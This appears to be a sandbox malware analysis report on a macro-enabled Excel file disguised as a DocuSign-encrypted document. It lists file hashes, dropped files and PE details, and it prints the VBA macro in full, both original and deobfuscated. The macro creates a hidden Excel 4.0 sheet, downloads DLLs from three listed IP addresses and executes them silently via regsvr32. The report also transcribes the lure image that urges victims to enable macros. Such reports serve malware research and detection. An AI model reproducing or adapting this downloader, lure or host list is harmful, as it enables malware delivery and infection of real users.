3982ae3e61a6

C:\Users\RDhJ0CNFevzX\Desktop\3982ae3e61a6ba86d61bd8f017f6238cc9afeb08b785010d686716e8415b6a36.xlsx.xls

Sample File

Excel Document

»

MIME Type	application/vnd.ms-excel
File Size	126.00 KB
MD5	b4b3a2223765ac84c9b1b05dbf7c6503
SHA1	57bc35cb0c7a9ac6e7fcb5dea5c211fe5eda5fe0
SHA256	3982ae3e61a6ba86d61bd8f017f6238cc9afeb08b785010d686716e8415b6a36
SSDeep	3072:Cik3hOdsylKlgxopeiBNhZFGzE+cL2kdAnc6YehWfG+tUHKGDbpmsiilBti2JtqV:vk3hOdsylKlgxopeiBNhZF+E+W2kdAnE
ImpHash	-

Office Information

»

Creator	Test
Last Modified By	Test
Create Time	2015-06-05 18:17:20+00:00
Modify Time	2021-09-27 09:38:52+00:00
Codepage	ANSI_Cyrillic
Application	Microsoft Excel
App Version	16.0
Document Security	NONE
Titles Of Parts	Sheet1
scale_crop	False
shared_doc	False

Controls (1)

»

CLSID	Control Name	Associated Vulnerability
{00020820-0000-0000-C000-000000000046}	Excel97Sheet	-

VBA Macros (2)

»

Macro #1: Module5

»

Deobfuscated Code


                   Attribute VB_Name = "Module5"

Sub auto_open()
    On Error Resume Next
    Application.ScreenUpdating = False
    Gert
    Sheets("Sheet777").Visible = False
    Sheets("Sheet777").Range("A1:M100").Font.Color = 16777215
    Sheets("Sheet777").Range("H24") = "http://190.14.37.178/"
    Sheets("Sheet777").Range("H25") = "http://185.183.96.67/"
    Sheets("Sheet777").Range("H26") = "http://185.250.148.213/"
    Sheets("Sheet777").Range("K17") = "=NOW()"
    Sheets("Sheet777").Range("K18") = ".dat"
    Sheets("Sheet777").Range("K18") = ".dat"
    Sheets("Sheet777").Range("H35") = "=HALT()"
    Sheets("Sheet777").Range("I9") = "uRlMon"
    Sheets("Sheet777").Range("I10") = "UserForm2"
    Sheets("Sheet777").Range("I11") = "JJCCBB"
    Sheets("Sheet777").Range("I12") = "Byukilos"
    Sheets("Sheet777").Range("G10") = "..\Drezd.red"
    Sheets("Sheet777").Range("G11") = "..\Drezd1.red"
    Sheets("Sheet777").Range("G12") = "..\Drezd2.red"
    Sheets("Sheet777").Range("I17") = "regsvr32 -silent ..\Drezd.red"
    Sheets("Sheet777").Range("I18") = "regsvr32 -silent ..\Drezd1.red"
    Sheets("Sheet777").Range("I19") = "regsvr32 -silent ..\Drezd2.red"
    Sheets("Sheet777").Range("H10") = "=Byukilos(0,H24&K17&K18,G10,0,0)"
    Sheets("Sheet777").Range("H11") = "=Byukilos(0,H25&K17&K18,G11,0,0)"
    Sheets("Sheet777").Range("H12") = "=Byukilos(0,H26&K17&K18,G12,0,0)"
    Sheets("Sheet777").Range("H9") = "=REGISTER(I9,I10&J10,I11,I12,,1,9)"
    Sheets("Sheet777").Range("H17") = "=EXEC(I17)"
    Sheets("Sheet777").Range("H18") = "=EXEC(I18)"
    Sheets("Sheet777").Range("H19") = "=EXEC(I19)"
    Application.Run Sheets("Sheet777").Range("H1")
End Sub

Sub auto_close()
    On Error Resume Next
    Application.ScreenUpdating = True
    Application.DisplayAlerts = False
    Sheets("Sheet777").Delete
    Application.DisplayAlerts = True
End Sub

Function Gert()
    Set Fera = Excel4IntlMacroSheets
    Fera.Add.Name = "Sheet777"
End Function

Original Code


                   Attribute VB_Name = "Module5"

Sub auto_open()
On Error Resume Next
Trewasd = "REGISTER"
Drezden = "="
Naret = "EXEC"
Application.ScreenUpdating = False
Gert
Sheets("Sheet777").Visible = False
Sheets("Sheet777").Range("A1:M100").Font.Color = vbWhite

Sheets("Sheet777").Range("H24") = UserForm2.Label1.Caption
Sheets("Sheet777").Range("H25") = UserForm2.Label3.Caption
Sheets("Sheet777").Range("H26") = UserForm2.Label4.Caption

Sheets("Sheet777").Range("K17") = "=NOW()"
Sheets("Sheet777").Range("K18") = ".dat"
Sheets("Sheet777").Range("K18") = ".dat"


Sheets("Sheet777").Range("H35") = "=HALT()"
Sheets("Sheet777").Range("I9") = UserForm2.Label2.Caption
Sheets("Sheet777").Range("I10") = UserForm2.Caption
Sheets("Sheet777").Range("I11") = "J" & "J" & "C" & "C" & "B" & "B"
Sheets("Sheet777").Range("I12") = "Byukilos"
Sheets("Sheet777").Range("G10") = "..\Drezd.red"
Sheets("Sheet777").Range("G11") = "..\Drezd1.red"
Sheets("Sheet777").Range("G12") = "..\Drezd2.red"
Sheets("Sheet777").Range("I17") = "regsvr32 -silent ..\Drezd.red"
Sheets("Sheet777").Range("I18") = "regsvr32 -silent ..\Drezd1.red"
Sheets("Sheet777").Range("I19") = "regsvr32 -silent ..\Drezd2.red"
Sheets("Sheet777").Range("H10") = "=Byukilos(0,H24&K17&K18,G10,0,0)"
Sheets("Sheet777").Range("H11") = "=Byukilos(0,H25&K17&K18,G11,0,0)"
Sheets("Sheet777").Range("H12") = "=Byukilos(0,H26&K17&K18,G12,0,0)"
Sheets("Sheet777").Range("H9") = Drezden & Trewasd & "(I9,I10&J10,I11,I12,,1,9)"
Sheets("Sheet777").Range("H17") = Drezden & Naret & "(I17)"
Sheets("Sheet777").Range("H18") = Drezden & Naret & "(I18)"
Sheets("Sheet777").Range("H19") = Drezden & Naret & "(I19)"


Application.Run Sheets("Sheet777").Range("H1")

End Sub

Sub auto_close()
On Error Resume Next
Application.ScreenUpdating = True
   Application.DisplayAlerts = False
   Sheets("Sheet777").Delete
   Application.DisplayAlerts = True
End Sub

Function Gert()
Set Fera = Excel4IntlMacroSheets
Fera.Add.Name = "Sheet777"
End Function

Macro #2: ThisWorkbook

»


                   Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit

Private m_openAlreadyRan As Boolean
Private m_isOpenDelayed As Boolean

Friend Sub FireOpenEventIfNeeded(Optional dummyVarToMakeProcHidden As Boolean)
End Sub

Private Sub asWorkbook_Activateas()
    On Error Resume Next

    If m_isOpenDelayed Then
        m_isOpenDelayed = False
        InitWorkbook
    End If
End Sub

Private Sub saWorkbook_Opensa()
    On Error Resume Next


End Sub

Private Sub ssaaInitWorkbookssaa()
    On Error Resume Next

    If VBA.Val(Application.Version) < 12 Then
        Me.Close False
        Exit Sub
    End If
    '
        'Other code
        '
        '
        '
End Sub

Extracted Image Texts (1)

»

Image 1: 0.JPG

»

                   DocuSign

THIS DOCUMENT ENCRYPTED BY
DOCUSIGN® PROTECT SERVICE

This steps are required to fully decrypt the document,
encrypted by DocuSign

1, If this docs
above

example of notification
Q rrorecreowannne This fle oiginsted from an internet location and might be unsafe Chick for more details Enable Editing

2. Click to “Enable Content” to perform Microsoft Excel Decryption Core to start the decryption of the
document

example of notification
@ sxcuntrr warm Macros hove been disabled Enable Macros

Why I can not open this document?

nt was downloaded from | mail, then please click “Enable editing" in the yellow bar

- You are using iOS or Android device. Please use Desktop PC.
- You are trying to view this document using Online Viewer.

ViNorton BE Microsoft [J Office

© DocuSign Inc. 2021

CFB Streams (21)

»

Name	ID	Size	Actions
Root\Workbook	1	99.44 KB	... Actions Download File
Root\_VBA_PROJECT_CUR\VBA\dir	4	1.02 KB	... Actions Download File
Root\_VBA_PROJECT_CUR\VBA\Sheet1	5	991 Bytes	... Actions Download File
Root\_VBA_PROJECT_CUR\VBA\Module5	6	4.14 KB	... Actions Download File
Root\_VBA_PROJECT_CUR\VBA\__SRP_0	7	2.40 KB	... Actions Download File
Root\_VBA_PROJECT_CUR\VBA\__SRP_1	8	138 Bytes	... Actions Download File
Root\_VBA_PROJECT_CUR\VBA\__SRP_2	9	264 Bytes	... Actions Download File
Root\_VBA_PROJECT_CUR\VBA\__SRP_3	10	256 Bytes	... Actions Download File
Root\_VBA_PROJECT_CUR\VBA\UserForm2	11	1.15 KB	... Actions Download File
Root\_VBA_PROJECT_CUR\VBA\ThisWorkbook	12	2.44 KB	... Actions Download File
Root\_VBA_PROJECT_CUR\VBA\_VBA_PROJECT	13	4.23 KB	... Actions Download File
Root\_VBA_PROJECT_CUR\PROJECT	14	662 Bytes	... Actions Download File
Root\_VBA_PROJECT_CUR\PROJECTlk	15	30 Bytes	... Actions Download File
Root\_VBA_PROJECT_CUR\PROJECTwm	16	116 Bytes	... Actions Download File
Root\_VBA_PROJECT_CUR\UserForm2\f	18	226 Bytes	... Actions Download File
Root\_VBA_PROJECT_CUR\UserForm2\o	19	272 Bytes	... Actions Download File
Root\_VBA_PROJECT_CUR\UserForm2\CompObj	20	97 Bytes	... Actions Download File
Root\_VBA_PROJECT_CUR\UserForm2\VBFrame	21	302 Bytes	... Actions Download File
Root\SummaryInformation	22	208 Bytes	... Actions Download File
Root\DocumentSummaryInformation	23	244 Bytes	... Actions Download File
Root\CompObj	24	108 Bytes	... Actions Download File

Extracted URLs (3)

»

URL	WHOIS Data	Reputation Status	Recursively Submitted	Actions
http://185.183.96.67	Not Queried	N/A	-	... Actions Show URL Submit URL
http://185.250.148.213	Not Queried	N/A	-	... Actions Show URL Submit URL
http://190.14.37.178	Not Queried	N/A	-	... Actions Show URL Submit URL

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\counters.dat

Modified File

Stream

»

MIME Type	application/octet-stream
File Size	128 Bytes
MD5	cc90851958032b8c8bbb7b24ec6271dd
SHA1	e027ad2ea4049374a3b01af2e3626b667dc816bc
SHA256	c2d814a34b184b7cdf10e4e7a4311ff15db99326d6dd8d328b53bf9e19ccf858
SSDeep	3:Fl:
ImpHash	-

c:\lsarpc

Dropped File

Unknown

»

MIME Type	-
File Size	0 Bytes
MD5	d41d8cd98f00b204e9800998ecf8427e
SHA1	da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256	e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SSDeep	3::
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\temp\~df29dbd0834f02d2ce.tmp

Dropped File

Stream

»

MIME Type	application/octet-stream
File Size	16.00 KB
MD5	ce338fe6899778aacfc28414f2d9498b
SHA1	897256b6709e1a4da9daba92b6bde39ccfccd8c1
SHA256	4fe7b59af6de3b665b67788cc2f99892ab827efae3a467342b3bb4e3bc8e5bfe
SSDeep	3::
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\temp\~dfad4a9cdf69cebb65.tmp

Dropped File

Stream

»

MIME Type	application/octet-stream
File Size	512 Bytes
MD5	bf619eac0cdf3f68d496ea9344137e8b
SHA1	5c3eb80066420002bc3dcc7ca4ab6efad7ed4ae5
SHA256	076a27c79e5ace2a3d47f9dd2e83e4ff6ea8872b3c2218f66c92b89b55f36560
SSDeep	3::
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	180 Bytes
MD5	d6ad1896771ae78c2db80c33a840d0ba
SHA1	6a3e654acaac12b07c7ba36e4721bf2e2abf1a3e
SHA256	741d79a4b15f920e5a38b7f65b0c451ed28ec6446a6f9bb35c46d2af522af3c9
SSDeep	3:9RkAG8Mm/kMakNskq2T/QH2tQPZc71m+yAgI50PErkFNue1U774CgfghnDOQDBVN:z9H+2TuEQPZX+ye506kPUP6ohD7fQVu
ImpHash	-

C:\Users\RDhJ0CNFevzX\Drezd.red

Dropped File

Binary

»

Also Known As	C:\Users\RDhJ0CNFevzX\Drezd1.red (Dropped File) C:\Users\RDhJ0CNFevzX\Drezd2.red (Dropped File)
MIME Type	application/vnd.microsoft.portable-executable
File Size	378.00 KB
MD5	0be9c245327ad62afbe40bbdedaee4c3
SHA1	ee39c1726bff2126a78e10245a6101e6d713c69f
SHA256	42ab0130aea7782ee4f17c64de58d02d5bfa0411abb6366567ba3ef6f16d16a5
SSDeep	1536:tW03V1v/i6+3mQ7JUYUOTehM4Lz+pfifwzkGNEyV0viHjPAPA:J3+6ET7CY7ChRUqGkjW0KH7APA
ImpHash	-
Parser Error Remark	Static engine was unable to completely parse the analyzed file

PE Information

»

Image Base	0x10000000
Entry Point	0x10001000
Size Of Code	0x30a00
Size Of Initialized Data	0x1f600
File Type	FileType.dll
Subsystem	Subsystem.windows_gui
Machine Type	MachineType.i386
Compile Timestamp	2021-09-10 16:49:09+00:00

Sections (9)

»

Name	Virtual Address	Virtual Size	Raw Data Size	Raw Data Offset	Flags	Entropy
.text	0x10001000	0x3090c	0x30a00	0x400	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ	3.39
.edata	0x10032000	0x70	0x200	0x30e00	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ	0.0
.data	0x10033000	0x2000	0x1400	0x31000	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	0.0
.data	0x10035000	0xbf54	0xc000	0x32400	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	0.0
.rdatat	0x10041000	0x648	0x800	0x3e400	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	0.0
.rsrc	0x10042000	0x10bf4	0x10c00	0x3ec00	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ	0.0
-	0x10053000	0x5000	0x5000	0x4f800	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	0.0
-	0x10058000	0x5000	0x5000	0x54800	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	0.0
-	0x1005d000	0x5000	0x5000	0x59800	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE	0.0

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	156 Bytes
MD5	5137d33f2f7770b397e55ef8bc9d8467
SHA1	5c4a8a2c22bb9e7f5faefe352ad2c7d896e6d23a
SHA256	30b53fc3118e12478f2f39da4ba92da8427dc220ad1204456334b013615fa3eb
SSDeep	3:OvBORuKN/RfQhilciO1iTmhfPP7IhgTH/xxLQjSljkocHdTzS7RscRn:OJsNJ4IlcDA0vEkf3keljkocHdT+VscR
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	1.16 KB
MD5	85e6c57ace8630abdfbc24302f9cc882
SHA1	697a3c142a0327431d5f8bd041225fd930686239
SHA256	c76943490d9459d186c4333ce412889d7e5056cf74f5bc70a75ee376f04ca254
SSDeep	24:qOsBzGYxiMOWAzJEp5jdCZh0Vok8g8zzYCLSusxg0O8i2yw9:GzGciMOWAzJiGvYCLSusxg0Ox2T
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	1.04 KB
MD5	13b725d681a3e6297fc23295aae382ae
SHA1	40880e9886ca74b41cfbce82d019066dd559ab52
SHA256	f4c311176ad91175d6aa0bf26be00c886e71ca308c150832b3a4afd275191eb8
SSDeep	24:8RkhYyH8FOzvjOdZKxCdjK6hqfR4z+GORthtpEuWyn:dht8kzKmUKeqfR1HpEuWyn
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	696 Bytes
MD5	70858d658264054c1794c62b8db16ea4
SHA1	f77f7053eb4b44e16002d8618b06d81918b6cac7
SHA256	1e394f19b5a12e28cfa740b7adb5fcdef560690fc48146cbb1682e5fe8e1e0d3
SSDeep	12:5Q+8sNJp4DFRXWhFlARdspXWTsR07JeDrMH8oe2+EafoCpRY4P3jesaJ9q3lwK:5SSpSFRmLA7sJqaDrMoUaQK3jNazq3lv
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	652 Bytes
MD5	4cd92de39ffacdb0d4a8ffca599940cf
SHA1	01d96dbef590107b20da9f4d003741cf8044c1c7
SHA256	8df30458f63524cb05d19b8bcc16abe17a66252c6d5a3f7c1ef755f468e59e4d
SSDeep	12:huHRq0m8DCNh3zX8gC4jVaTGbUwVm64WNLt2bO9jvpfLTitwQlVC0Arcg4F:K08DCoSZ71mrWNZ2bO3LWt9C0AAF
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	1.14 KB
MD5	92453b1163e2b676cd17430465728534
SHA1	020e9ca6ffd847347665a89bae40c6006e8f3ba2
SHA256	e69c0209f399c5e28b2c6375800a17ac170e50b81af6c1339439d809e8f4b816
SSDeep	24:D06YUQ4wcUDaiAlQQb+R5g9A87YC/NGhniVuUag+YpjbMO8:oHURwcUDkKnysC/NKFDi78
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	908 Bytes
MD5	9d8e76d37bdb250462f583a7e6a0480b
SHA1	de4798beb374b71a0cc6335256a79c75e85d21f8
SHA256	5d7b7d44b87cb48121727640ec22cb655e2200d825f8aabdf4a63649f1764e94
SSDeep	24:ZpIEpDQkfJbhxYI1Z72cpn4DksmvnbACli930KMY:ZmEpDnrxYI1t2motmvnbAClAEKZ
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	936 Bytes
MD5	62dbd97d0f835e749475519854fe6652
SHA1	552e63b96aa4b5bdb4cbec86e7e1878f3513e29a
SHA256	690aa69da3fc0910ccd1a861f6719f2bea1921f250363682706df67eea274366
SSDeep	24:v0rpPTV6gKvf/OFr9ANwXOzATtpqvu5WxJcyN66eCSEhoDn:vW7afzd0Ttpq5bNNje1EWDn
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	852 Bytes
MD5	8962900bf7ce1ec87acda2d3706590f4
SHA1	90e17999b07b6d3687c95b71fc6cffcef42e2088
SHA256	931d4754f66cd7033f223760ecd3b51bd773478ef40de2cdc7e44f671c5fa15f
SSDeep	24:Vhcz6nnMHEoBv0bxffQC958d3bm2cNMKbd:VG9HE2sTEdQaK
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	816 Bytes
MD5	e0afac35f2c07a601c7f8b4f9e5c34df
SHA1	4eafec527867878a4a4f53a0244375716993f377
SHA256	17587e17d6d62da2664ec62ceffccc0e49ec01f9f2095e43de21fb78ec111951
SSDeep	12:dD2gdEvjoK5ff1yOft+jWGM23GozIfWVf/MOjDiv99x2bzpgYc0pWvHMPNqL1FlN:Z/E7oW5ft+6iWW/Mg2v99AgYVWHOML1N
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	572 Bytes
MD5	75af3192f6004dfe5d6580c28f6b78e9
SHA1	db41dd4d85f1955259aa98c87f569f59c0737068
SHA256	e0feb1830851ac73f28ac5131bf170ff34f5de32efd96d45aae2ade609f8c07b
SSDeep	12:yey5g55f3bSIJsg2vOmC4W3SZmYE4tROAZkMppYx6d4pZja:ye8Spb7OvCh3WxtRVk2I6arja
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	908 Bytes
MD5	cd1beb03e80e738b91dbd4dcedd09873
SHA1	666b79003fb1a6cde7666fec1779173b1e6c2efc
SHA256	e20ab2c345c8848a2ee7dee3d17c45bb522e22f27ad718ffccbcbd2084c07f3e
SSDeep	12:0HuDAbs9/eVoPpyvHbIx0zICFvhUpDes3AEc8MsPHWmJCGC8aKJhAfHyJ6kg3h/B:0S9eVS4v7IYFZU7bHW+xGHyrCbGxnC
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	940 Bytes
MD5	b6f10678a956bfc18ecb25d22ae8f2ee
SHA1	eac92375462e22432d505cd368054d8abf3ca20a
SHA256	54e912c0d0d08fff32c9cbdd981c85c018a9b2dbf3c7526db7e4601e1bf39a6a
SSDeep	24:aJhbhK8ZfACF7VuTh8EJra5EtoYq0wR8Gx8P2lUmmRnGUKI:oDrR3F7VuCOgV0wOGaPjHKI
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	576 Bytes
MD5	5e30c4d6bc470c9471f7252915e49d2d
SHA1	c0400eff4f2d2e2d6f7cb17ab1c465f1ab0dcf60
SHA256	5e8ed36fd66eafad6283b30ddfee42249eb0cc568c32b134446771104dcacb2b
SSDeep	12:mQ/gjZbGZK/j5u9uSKw5qMss+nRDmZjLkfZLOH:mjEKw9VKw4MsLROvTH
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	972 Bytes
MD5	38a8d803e26547b5a645cdc9caaf642c
SHA1	2f04b31940d36116e948253979cf858a387829fc
SHA256	e1c642de1a562436f036844a80eebdfcdf9d52703f6f02993d2d78c4f1289525
SSDeep	24:dvcW00M63n9yyzS3o80hnssJwaaAsxanoa:tT9yyzS32hPwaaaoa
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	1.10 KB
MD5	b42cbfe118ea7118dc97409dff85e4e2
SHA1	b888d693df914cb51b69d702c284f768502b1926
SHA256	1fda3cbf01185b9a045559d1c52a11283f4d095e04243f72491c5008bc92ed41
SSDeep	24:0L+8qP484riamYdqX1GILBhlVegh6ly1dueCEqYaykclndZ8FRlOnDn:0KK8QhYQIVhPegHbueCZIH9oFHOnDn
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	872 Bytes
MD5	1c17a5f839818a4b98d5ae9cf2dcd79c
SHA1	da242c525a9e891fde3d5ed695f0ae0bd9813d89
SHA256	96dfae722a1687b4190e08d5ad6b4dae2dbe335d6d1ddfc40918c0f8007165b8
SSDeep	24:S3PPVwl5+WbLwMsFlh2LWAWdA8RyyJZlJBkfGPfVWLM:kQWhd3JrlzkuB
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	972 Bytes
MD5	a1e1ae1a0a91f736b380d6ea58d47b7b
SHA1	e527e8d071f47a522c86259a47ad7a8ff21f07df
SHA256	7e1f749b740f33f5a4a7763ce25157fdb841052f40ecb648a2f1ab32a219ea63
SSDeep	24:QuHX/7Ra3bMk0k3eH9rlPKOvh4TXRK+UWN2o3N6:7Na3OkGzPKOpOWS2j
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	692 Bytes
MD5	449b02d09780c3adcaccca5dbc83ecc1
SHA1	ba221362154d9468b57563d5333ea1aeb009f152
SHA256	c7f42acd49fddb1855a619149c633bcde408c62b437e3466e03fe8e4013be9bc
SSDeep	12:xwe1abnTEdsSV0qzfvZ8A/qseuyE8BgBV2xfIrXGFq8YA/uROAqGE4:x31abTEds20iYtgiEWoJAZt4
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	576 Bytes
MD5	db3332045520eac2e9848c2203cd6323
SHA1	a1c977736715652b8e12e2ded323ee57bff6c897
SHA256	389c057654f3d31d5dea75ca25167f1f2837ac019b2804cd923ba0c7adbb2c47
SSDeep	12:ECe5nOIIrQOpQsch2WZEYGP6woXhjoHIUFanHj6mWsnWaEF:GJIUOQr2W5ZFooeoHumWsnCF
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	880 Bytes
MD5	664c133542e370bebf3afe919f673343
SHA1	7242a8b27c6bf43824c48be6098386571e00fb3c
SHA256	6c86156fa85192c752ca66721424dfdfa063b98854690336eda607a68c72f69f
SSDeep	24:y8wtBL9zEbIk7bICGKj5mBJn5SSqsfFz4xM2kt+yWV:y7tBLRWbj1Wn5SSqsNM6dHWV
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	1.19 KB
MD5	96850305e6f033eae0575bd43791c335
SHA1	6c26bc10c2610a0b75c717e9f0fa11672a1716e2
SHA256	32e5106fee571564dbe7cbf1b858c5d35a5b02764f0ce5202c2549771c21fcf9
SSDeep	24:npHVR8uHQlZMjeIP1fqpSMnE3XM+FwiH2Gox6VES5remZq6Uwz8dZN0O:nGl+jeW1i8cEsliWGogVB1ebRd0O
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	684 Bytes
MD5	d765576e01fed5b3056e932c2d01f077
SHA1	a2cb5f0b1130b6632308952cee11832b6506cbf3
SHA256	442caa0905060d24342dbf0e5e1dde8ab8edfcde39f507642840c311d6e37fdd
SSDeep	12:07vF7VFcwKTtqDBe5Mmm7iCswQsLp6neyu2aW0FtO8Sk:e/cEDcGeCNLpvptik
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	640 Bytes
MD5	ed6dc868420c26c79cb54be8f692ee7b
SHA1	48ce1c8077b8dd18ee16a3efa6379d1238f56dfa
SHA256	21de40e6d8ed7d606fb3ac5b2bd407143370abb2cc2cbcbc08947db1ec929867
SSDeep	12:fY4rTPyNUed6LAVNehVfJ6YBgqO7fS2B/mtqsSnsVptb7W:AATPg/4AVsnhC7fdB/ycsV/S
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	872 Bytes
MD5	5a575ef777e796562c35817e48870804
SHA1	9f70f5ffb14cdfcc994baaa959e56ffc793991cb
SHA256	2571d2cbdd080283e380d2260a3126d98f154d9e5f8e63415d47c84754c4344e
SSDeep	12:oQcu0Sw/cvQGAbiJhaJrrDzT5A3jvcX3ohj2WrgMsKKSBsmuR8dh2z0aSf0cz+ZG:Au0SW2XhidA3wX3Eh/y6ddvccaZ0XJ
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	660 Bytes
MD5	1575d042f10a87a7c14efdb9b540130b
SHA1	2e40a2e939c026856313c420769017c6beee57ec
SHA256	2f4cdf41990890f584db43c487c3c41ac493448285127da480b28f80440372bf
SSDeep	12:NzapeMyf4SWc11dfUeVh3mHlkMRjnUR6rYD45dg2Jcpk:8NyfhP119VzMRLUErYD45dwk
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	1.12 KB
MD5	f48ea719b7faad984deca3cb247aa137
SHA1	f322872328992400e315944ca0141c14cc06878b
SHA256	51cf64a1e2c4a6ea218e601d3e4917f97aa800e6ce885e0d3bb8fb77d185a253
SSDeep	24:FmnXOR7QkmMfcnD+Kxf8eKsUvynQQ3KcIbxMjVmJYmPp6NkONQ:i+RUKfcnqKxf1UvBiI+BkHZOS
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	736 Bytes
MD5	b0ec34b7ab4afe7ddfeb22da36cef7b7
SHA1	6de3e6aa5fafffe73bbd738d4c471195fe517265
SHA256	babb91aa95e8ca5df4c296ec6b5739b420ad457c8d3dfd549c0cd71c5739e9d7
SSDeep	12:uAid0femakl6du1qc3d5VbUh0YJU1AOy/Y3Sq4BAeMRe/:Enmd68qQdY0/1A0j4BAeYm
ImpHash	-

c:\users\rdhj0cnfevzx\appdata\local\microsoft\windows\inetcache\ie\hztfec57\t4[1]

Dropped File

Text

»

MIME Type	text/plain
File Size	944 Bytes
MD5	6fab2ab4e866d29402d86a1b8e711334
SHA1	edd73db12bfe55e549be544987873961b237a81c
SHA256	17bf116661fe0839884c759952bf971115fc99a900a3125416d50cc1a4263703
SSDeep	24:Ws4WjprD2FrHmsRrRQ4l+WajnpxBLQ0y7:W4oHmQrkWalHLA
ImpHash	-

